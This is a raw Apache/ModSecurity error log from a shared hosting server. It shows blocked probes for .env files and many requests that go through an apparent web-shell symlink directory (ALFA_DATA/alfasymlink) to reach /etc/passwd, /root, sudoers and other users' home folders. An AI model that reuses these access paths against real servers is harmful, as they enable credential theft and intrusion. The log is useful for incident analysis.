[Sun Oct 25 14:19:48.954492 2026] [security2:error] [pid 2875807:tid 2875807] [client 46.151.178.15:32334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "at5IRAHDER8y19YYHrzTXAAAAB0"]
[Sun Oct 25 14:19:48.955581 2026] [security2:error] [pid 2878642:tid 2878642] [client 46.151.178.15:32350] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "at5IRCOJ5J2CO9rwTwq1XwAAAAA"]
[Sun Oct 25 14:19:48.955852 2026] [security2:error] [pid 2878642:tid 2878642] [client 46.151.178.15:32350] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "at5IRCOJ5J2CO9rwTwq1XwAAAAA"]
[Sun Oct 25 14:19:48.956099 2026] [security2:error] [pid 2878642:tid 2878642] [client 46.151.178.15:32350] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "at5IRCOJ5J2CO9rwTwq1XwAAAAA"]
[Sun Oct 25 14:19:54.276045 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 34.195.60.66:32162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:54.314295 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:50638] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ia1/php.ini
[Sun Oct 25 14:19:55.694623 2026] [authz_core:error] [pid 2875804:tid 2875804] [client 76.135.135.39:50660] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 14:19:58.217463 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 52.73.142.41:25743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:10.209136 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 107.20.224.184:41281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:11.969092 2026] [security2:error] [pid 2875796:tid 2875796] [client 216.244.66.250:54484] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5IW2Rf2IcMpPbtfDaARQAAABI"]
[Sun Oct 25 14:20:11.969527 2026] [security2:error] [pid 2875796:tid 2875796] [client 216.244.66.250:54484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5IW2Rf2IcMpPbtfDaARQAAABI"]
[Sun Oct 25 14:20:11.969817 2026] [security2:error] [pid 2875796:tid 2875796] [client 216.244.66.250:54484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5IW2Rf2IcMpPbtfDaARQAAABI"]
[Sun Oct 25 14:20:14.199466 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 3.217.171.106:22451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:18.326069 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 35.169.102.85:18684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:22.176076 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 54.197.82.195:63051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:38.183046 2026] [ssl:error] [pid 2878642:tid 2878642] (70014)End of file found: [client 52.44.174.136:32091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:54.251016 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 100.24.167.60:60036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:20:58.195907 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 3.221.50.71:22125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:06.299388 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 18.232.12.157:4418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource1
[Sun Oct 25 14:21:14.228536 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 54.87.95.7:27073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:14.339108 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53391] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:21:14.339191 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53391] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:21:14.798297 2026] [security2:error] [pid 2875807:tid 2875807] [client 76.135.135.39:53480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/passwd"] [unique_id "at5ImgHDER8y19YYHrzTYgAAAB0"]
[Sun Oct 25 14:21:14.798359 2026] [security2:error] [pid 2875807:tid 2875807] [client 76.135.135.39:53480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/passwd"] [unique_id "at5ImgHDER8y19YYHrzTYgAAAB0"]
[Sun Oct 25 14:21:23.157318 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 54.159.18.27:13092] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:28.465889 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51739] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:21:28.466006 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51739] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:21:30.197683 2026] [ssl:error] [pid 2878642:tid 2878642] (70014)End of file found: [client 52.202.233.37:38515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:34.336876 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 52.70.138.176:45239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:46.170302 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 18.207.79.144:37974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:50.161959 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 54.156.124.2:12188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:21:54.785898 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 135.119.91.58:38400] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 14:21:54.916738 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.205.120.22:16029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:06.284864 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 34.238.45.183:1388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:10.184455 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 54.225.81.20:1582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:18.172392 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 23.21.175.228:12253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:22.646252 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:61802] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:22:22.646367 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:61802] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:22:22.646967 2026] [security2:error] [pid 2875821:tid 2875821] [client 76.135.135.39:61802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/"] [unique_id "at5I3jrZAlNl62fjFrfDAwAAAC0"]
[Sun Oct 25 14:22:22.646990 2026] [security2:error] [pid 2875821:tid 2875821] [client 76.135.135.39:61802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/"] [unique_id "at5I3jrZAlNl62fjFrfDAwAAAC0"]
[Sun Oct 25 14:22:23.127132 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sun Oct 25 14:22:23.127414 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sun Oct 25 14:22:23.127627 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sun Oct 25 14:22:23.129702 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sun Oct 25 14:22:23.129882 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Sun Oct 25 14:22:23.130402 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sun Oct 25 14:22:23.130676 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sun Oct 25 14:22:23.135035 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sun Oct 25 14:22:23.137109 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:61947] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sun Oct 25 14:22:24.662534 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:62480] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:22:26.835022 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:22:26.835081 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:22:26.835124 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:22:26.835146 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:22:26.835204 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:22:26.835252 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:22:26.835269 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:22:26.835292 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:22:26.835306 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:22:26.835319 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:22:26.835333 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:22:26.835354 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:22:26.835379 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:22:26.835405 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:22:26.835417 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:22:26.835489 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:22:26.835517 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:22:26.835536 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:22:26.835549 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:22:26.835561 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:22:26.835573 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:22:26.835596 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:22:26.835619 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:22:26.835670 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:22:26.835687 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:22:26.835698 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:22:26.835711 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
